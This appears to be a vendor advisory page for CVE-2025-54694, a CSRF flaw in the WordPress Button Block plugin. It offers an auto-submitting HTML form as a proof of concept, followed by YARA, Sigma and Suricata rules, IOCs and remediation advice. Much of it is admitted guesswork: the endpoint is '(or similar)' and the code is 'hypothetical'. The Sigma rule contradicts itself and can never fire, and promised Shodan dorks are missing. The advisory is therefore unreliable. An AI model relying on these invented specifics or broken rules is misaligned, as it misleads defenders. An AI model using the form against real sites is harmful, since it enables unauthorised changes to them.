CVE-2025-54694
Executive Summary
CVE-2025-54694 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WordPress plugin Button Block by bPlugins, versions up to and including 1.2.0. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or creating malicious button blocks, without their consent. The attack requires user interaction (clicking a crafted link) and has a low CVSS score of 4.3, but in the context of a WordPress site, it can lead to privilege escalation or site defacement if combined with other weaknesses. No public proof-of-concept (PoC) or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The supply chain risk is moderate: if the plugin is not updated by the vendor, site administrators must manually remove or replace it. No known malicious packages or backdoors have been associated with this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (attacker can modify plugin settings or create malicious content)
- Availability Impact: None
Threat Level: Low to Medium. Exploitation requires social engineering, but the impact on a WordPress site can be significant if the attacker leverages the CSRF to change admin credentials or inject malicious JavaScript.
Deep Dive & Mechanics
The vulnerability exists in the button-block plugin's administrative interface. The plugin fails to implement proper CSRF tokens (nonces) on state-changing requests, such as saving plugin settings or creating/editing button blocks. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the vulnerable endpoint.
Attack Flow:
- Attacker identifies a WordPress site running Button Block <= 1.2.0.
- Attacker crafts a malicious link or form that submits a POST request to
/wp-admin/admin-ajax.php?action=button_block_save_settings(or similar) with attacker-controlled parameters. - Attacker sends the link to an authenticated admin (e.g., via email or social media).
- Admin clicks the link, and the forged request executes with the admin's session cookies.
- The plugin processes the request without verifying the origin, allowing the attacker to modify plugin settings or create malicious button blocks.
Root Cause: Missing CSRF nonce validation in the plugin's AJAX handlers and settings pages.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (button-block.php or similar):
add_action('wp_ajax_button_block_save_settings', 'button_block_save_settings');
function button_block_save_settings() {
// No nonce check
update_option('button_block_settings', $_POST['settings']);
wp_die();
}
Patched Code (hypothetical):
add_action('wp_ajax_button_block_save_settings', 'button_block_save_settings');
function button_block_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'button_block_save_settings')) {
wp_die('CSRF validation failed.');
}
update_option('button_block_settings', $_POST['settings']);
wp_die();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with Button Block <= 1.2.0.
- Authenticated admin session (victim).
Exploit Steps:
- Identify the vulnerable AJAX endpoint (e.g.,
admin-ajax.php?action=button_block_save_settings). - Craft a malicious HTML page that auto-submits a form:
<html>
<body>
<form id="csrf" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="button_block_save_settings">
<input type="hidden" name="settings[malicious]" value="true">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
- Host the page and send the link to the victim admin.
- Once the admin visits the page, the settings are modified.
Blue Team
Detection:
- Monitor for unexpected POST requests to
/wp-admin/admin-ajax.phpwithaction=button_block_save_settingsfrom external referrers. - Alert on multiple failed nonce checks (if any) in WordPress logs.
- Use a Web Application Firewall (WAF) to block requests missing a valid CSRF token.
Hunting:
- Search for
button_block_save_settingsin HTTP logs. - Look for
Refererheaders not matching the site domain.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=button_block_save_settingsand no_wpnonceparameter. - Referer header pointing to an external domain.
- POST requests to
- Host:
- Modified
wp_optionstable entries forbutton_block_settings. - Unexpected button blocks containing malicious JavaScript or redirects.
- Modified
- File:
- No specific file IOCs; the vulnerability is logic-based.
Detection Engineering
YARA Rule
rule CVE_2025_54694_CSRF_ButtonBlock {
meta:
description = "Detects vulnerable Button Block plugin code missing CSRF nonce"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-54694"
strings:
$ajax_action = "wp_ajax_button_block_save_settings"
$no_nonce = /wp_verify_nonce/ nocase
condition:
$ajax_action and not $no_nonce
}
Sigma Rule
title: CVE-2025-54694 - CSRF Exploitation Attempt on Button Block Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with button_block_save_settings action without a valid nonce
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "action=button_block_save_settings"
cs-uri-query|contains: "_wpnonce" # Missing nonce indicates CSRF attempt
condition: selection and not cs-uri-query|contains: "_wpnonce"
falsepositives:
- Legitimate admin actions if nonce is missing due to plugin bug
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54694 - CSRF Exploitation Attempt on Button Block Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=button_block_save_settings"; http_uri; pcre:"/^(?!.*_wpnonce).*$/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove the plugin if not essential.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=button_block_save_settingsthat lack a valid nonce.
Long-term Fix:
- The vendor must add CSRF nonce validation to all AJAX handlers and settings pages.
- Alternatively, replace the plugin with a secure alternative.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.